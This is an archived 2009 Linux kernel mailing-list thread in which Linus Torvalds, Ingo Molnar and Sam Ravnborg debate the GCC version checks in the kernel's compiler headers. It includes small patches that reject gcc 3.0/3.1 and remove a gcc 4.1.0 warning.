Xref: news.gmane.org gmane.linux.ports.parisc:1097 gmane.linux.kernel:774490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1097>


* Linus Torvalds <torvalds@linux-foundation.org> wrote:

> 
> 
> On Fri, 2 Jan 2009, Linus Torvalds wrote:
> > 
> > I think this is wrong.
> > 
> > Just move the check into <linux/compiler-gcc4.h>
> 
> In fact, looking at that whole mess, I redid it all. It was disgusting 
> how conditionals in gcc4.h needed to double-check that __GNUC__ really 
> was 4 (rather than something bigger), which largely negated the whole 
> nice clean compiler version separation.
> 
> I pushed out my preferred version, which fixes up the whole thing. The 
> gcc4 header file now only gets included for __GNUC__ == 4, and when we 
> ever see a __GNUC__ of 5, it will automatically DTRT and try to include 
> <linux/compiler-gcc5.h> instead of #4.
> 
> And then the check in gcc4.h for 4.1.0 and 4.1.1 is much simplified.  
> The two patches I pushed out add functionality, but don't actually add 
> any new lines (the first simplification patch removes more lines than it 
> adds, and the second one that adds the __weak bug test adds as mahy 
> lines as the cleanup removed).
> 
> And it all looks more logical too, imho.

yeah, agreed, much cleaner.

The gcc3 check for gcc 3.0 and 3.1 can be pushed into gcc3 as well - not 
sure whether you fixed that. (i fixed it in the patch i just sent - but i 
didnt notice the gcc5 mess in gcc4.h that you fixed)

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Disallow gcc versions 3.{0,1}
Date: Fri, 2 Jan 2009 18:54:58 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20090102175458.GA29512@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230918939 6322 80.91.229.12 (2 Jan 2009 17:55:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 17:55:39 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 18:56:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoGK-00071R-OC
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 18:56:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757056AbZABRz1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:55:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757554AbZABRz1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:55:27 -0500
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:57537 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755711AbZABRz0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:55:26 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LIoEh-0005TX-Tl
	from <mingo@elte.hu>; Fri, 02 Jan 2009 18:55:09 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id DE04F3E21AA; Fri,  2 Jan 2009 18:54:57 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090102174641.GA27287@elte.hu>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1098 gmane.linux.kernel:774495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1098>


* Ingo Molnar <mingo@elte.hu> wrote:

> > And it all looks more logical too, imho.
> 
> yeah, agreed, much cleaner.
> 
> The gcc3 check for gcc 3.0 and 3.1 can be pushed into gcc3 as well - not 
> sure whether you fixed that. (i fixed it in the patch i just sent - but 
> i didnt notice the gcc5 mess in gcc4.h that you fixed)

ok, i see them now:

 f9d1425: Disallow gcc versions 4.1.{0,1}
 f153b82: Sanitize gcc version header includes

agreed, much cleaner.

One small issue - i think this now allows gcc 3.0 and 3.1 again - which we 
didnt before. Dont we need the patch below - am i missing something?

	Ingo

------------------->
>From 1458f25412a838968e845ec0bc1b18db70cba7cd Mon Sep 17 00:00:00 2001
From: Ingo Molnar <mingo@elte.hu>
Date: Fri, 2 Jan 2009 18:53:14 +0100
Subject: [PATCH] Disallow gcc versions 3.{0,1}

GCC 3.0 and 3.1 are too old to build a working kernel.

Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 include/linux/compiler-gcc3.h |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/include/linux/compiler-gcc3.h b/include/linux/compiler-gcc3.h
index 2befe65..8005eff 100644
--- a/include/linux/compiler-gcc3.h
+++ b/include/linux/compiler-gcc3.h
@@ -2,6 +2,10 @@
 #error "Please don't include <linux/compiler-gcc3.h> directly, include <linux/compiler.h> instead."
 #endif
 
+#if __GNUC_MINOR__ < 2
+# error Sorry, your compiler is too old - please upgrade it.
+#endif
+
 #if __GNUC_MINOR__ >= 3
 # define __used			__attribute__((__used__))
 #else
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 18:57:37 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20090102175737.GA5818@uranus.ravnborg.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230918997 6458 80.91.229.12 (2 Jan 2009 17:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 17:56:37 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, David Miller <davem@davemloft.net>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca, Andrew Morton <akpm@linux-foundation.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 18:57:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoHB-0007KO-IL
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 18:57:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757722AbZABR4H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:56:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757715AbZABR4G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:56:06 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:60560 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757757AbZABR4F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:56:05 -0500
X-Greylist: delayed 171960 seconds by postgrey-1.27 at vger.kernel.org; Fri, 02 Jan 2009 12:56:05 EST
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 988BFF8401D;
	Fri,  2 Jan 2009 18:55:56 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 77AED580D0; Fri,  2 Jan 2009 18:57:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1099 gmane.linux.kernel:774497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1099>

On Fri, Jan 02, 2009 at 09:38:14AM -0800, Linus Torvalds wrote:
> 
> 
> On Fri, 2 Jan 2009, Linus Torvalds wrote:
> > 
> > I think this is wrong.
> > 
> > Just move the check into <linux/compiler-gcc4.h>
> 
> In fact, looking at that whole mess, I redid it all. It was disgusting how 
> conditionals in gcc4.h needed to double-check that __GNUC__ really was 4 
> (rather than something bigger), which largely negated the whole nice clean 
> compiler version separation.
> 
> I pushed out my preferred version, which fixes up the whole thing. The 
> gcc4 header file now only gets included for __GNUC__ == 4, and when we 
> ever see a __GNUC__ of 5, it will automatically DTRT and try to include 
> <linux/compiler-gcc5.h> instead of #4.
> 
> And then the check in gcc4.h for 4.1.0 and 4.1.1 is much simplified.  The 
> two patches I pushed out add functionality, but don't actually add any new 
> lines (the first simplification patch removes more lines than it adds, and 
> the second one that adds the __weak bug test adds as mahy lines as the 
> cleanup removed).
> 
> And it all looks more logical too, imho.

Bugger....
Now I cannot do cross compile for: alpha, arm, m68k and sparc.

Not that I actually try to run these beasts but just being able
to do cross compile has served me well.

Last I looked (only few days ago) crosstool-ng did not support sparc :-(

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 09:58:25 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230919202 7059 80.91.229.12 (2 Jan 2009 18:00:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:00:02 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:01:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoKV-0008W0-Dt
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:01:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757624AbZABR7g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 12:59:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757698AbZABR7g
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 12:59:36 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:37542 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757678AbZABR7f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 12:59:35 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02HwQho024208
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 09:58:27 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02HwPV6030968;
	Fri, 2 Jan 2009 09:58:25 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20090102174641.GA27287@elte.hu>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.426 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1100 gmane.linux.kernel:774499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1100>



On Fri, 2 Jan 2009, Ingo Molnar wrote:
> 
> The gcc3 check for gcc 3.0 and 3.1 can be pushed into gcc3 as well - not 
> sure whether you fixed that. (i fixed it in the patch i just sent - but i 
> didnt notice the gcc5 mess in gcc4.h that you fixed)

I just dropped it. Gcc 3.0 and 3.1 are so old that we simply don't care. 

Nobody who has compiled a kernel in the last two years can possibly have 
those versions: we've failed the build on them since December 2006. And 
there obviously won't be any new users either. So consider it a 
generational garbage collection event.

Of course, if we really want to check for old compiler versions, we can 
add the check back (to the gcc3 header file where it belongs), but it does 
seem to be entirely historical.

			Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 19:01:10 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20090102180110.GA7425@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu> <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230919335 7586 80.91.229.12 (2 Jan 2009 18:02:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:02:15 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:03:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoMb-0000mO-0u
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:03:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757125AbZABSB4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:01:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757471AbZABSB4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:01:56 -0500
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:33799 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757125AbZABSBz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:01:55 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1LIoKi-0000BL-K5
	from <mingo@elte.hu>; Fri, 02 Jan 2009 19:01:16 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 5CADD3E21AA; Fri,  2 Jan 2009 19:01:12 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1101 gmane.linux.kernel:774501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1101>


* Linus Torvalds <torvalds@linux-foundation.org> wrote:

> 
> 
> On Fri, 2 Jan 2009, Ingo Molnar wrote:
> > 
> > The gcc3 check for gcc 3.0 and 3.1 can be pushed into gcc3 as well - not 
> > sure whether you fixed that. (i fixed it in the patch i just sent - but i 
> > didnt notice the gcc5 mess in gcc4.h that you fixed)
> 
> I just dropped it. Gcc 3.0 and 3.1 are so old that we simply don't care.

we didnt support it for quite some time. If you look at that ugly version 
check you replaced:

 #if __GNUC__ >= 4 && !gcc41_inlining_bug
 # include <linux/compiler-gcc4.h>
 #elif __GNUC__ == 3 && __GNUC_MINOR__ >= 2
 # include <linux/compiler-gcc3.h>
 #else
 # error Sorry, your compiler is too old, too buggy or not recognized.
 #endif

it has a hidden 'gcc 3.0 / 3.1 is not supported' condition in it. So what 
i tried to point out that your patch causes a regression here - we dont 
filter out gcc 3.0/3.1 out anymore.

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Remove gcc 4.1.0 quirk from init/main.c
Date: Fri, 2 Jan 2009 19:05:59 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20090102180559.GA5905@uranus.ravnborg.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <200901021443.58769.bzolnier@gmail.com> <20090102152124.GA19091@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230919511 8084 80.91.229.12 (2 Jan 2009 18:05:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:05:11 +0000 (UTC)
Cc: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	David Miller <davem@davemloft.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:06:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoPD-0001Ex-JZ
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:05:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757624AbZABSEX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:04:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757532AbZABSEX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:04:23 -0500
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:37110 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757512AbZABSEW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:04:22 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 9C246A5002E;
	Fri,  2 Jan 2009 19:04:17 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 65478580D0; Fri,  2 Jan 2009 19:05:59 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090102152124.GA19091@elte.hu>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1102 gmane.linux.kernel:774503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1102>

> From d23cbaaa342e5555a919a543095d656415a55950 Mon Sep 17 00:00:00 2001
> From: Ingo Molnar <mingo@elte.hu>
> Date: Fri, 2 Jan 2009 16:16:16 +0100
> Subject: [PATCH] kbuild: Remove gcc 4.1.0 quirk from init/main.c
> 
> Impact: cleanup
> 
> We now have a cleaner check for gcc 4.1.0/4.1.1 trouble in
> include/linux/compiler.h, so remove the 4.1.0 quirk from
> init/main.c.
> 
> Reported-by: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
> Signed-off-by: Ingo Molnar <mingo@elte.hu>

This should be applied despite Linus' different approach in compiler.h.

Acked-by: Sam Ravnborg <sam@ravnborg.org>

> ---
>  init/main.c |    9 ---------
>  1 files changed, 0 insertions(+), 9 deletions(-)
> 
> diff --git a/init/main.c b/init/main.c
> index 2a7ce0f..5ced153 100644
> --- a/init/main.c
> +++ b/init/main.c
> @@ -75,15 +75,6 @@
>  #include <asm/smp.h>
>  #endif
>  
> -/*
> - * This is one of the first .c files built. Error out early if we have compiler
> - * trouble.
> - */
> -
> -#if __GNUC__ == 4 && __GNUC_MINOR__ == 1 && __GNUC_PATCHLEVEL__ == 0
> -#warning gcc-4.1.0 is known to miscompile the kernel.  A different compiler version is recommended.
> -#endif
> -
>  static int kernel_init(void *);
>  
>  extern void init_IRQ(void);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 10:04:27 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230919558 8218 80.91.229.12 (2 Jan 2009 18:05:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:05:58 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca, Andrew Morton <akpm@linux-foundation.org>
To: Sam Ravnborg <sam@ravnborg.org>
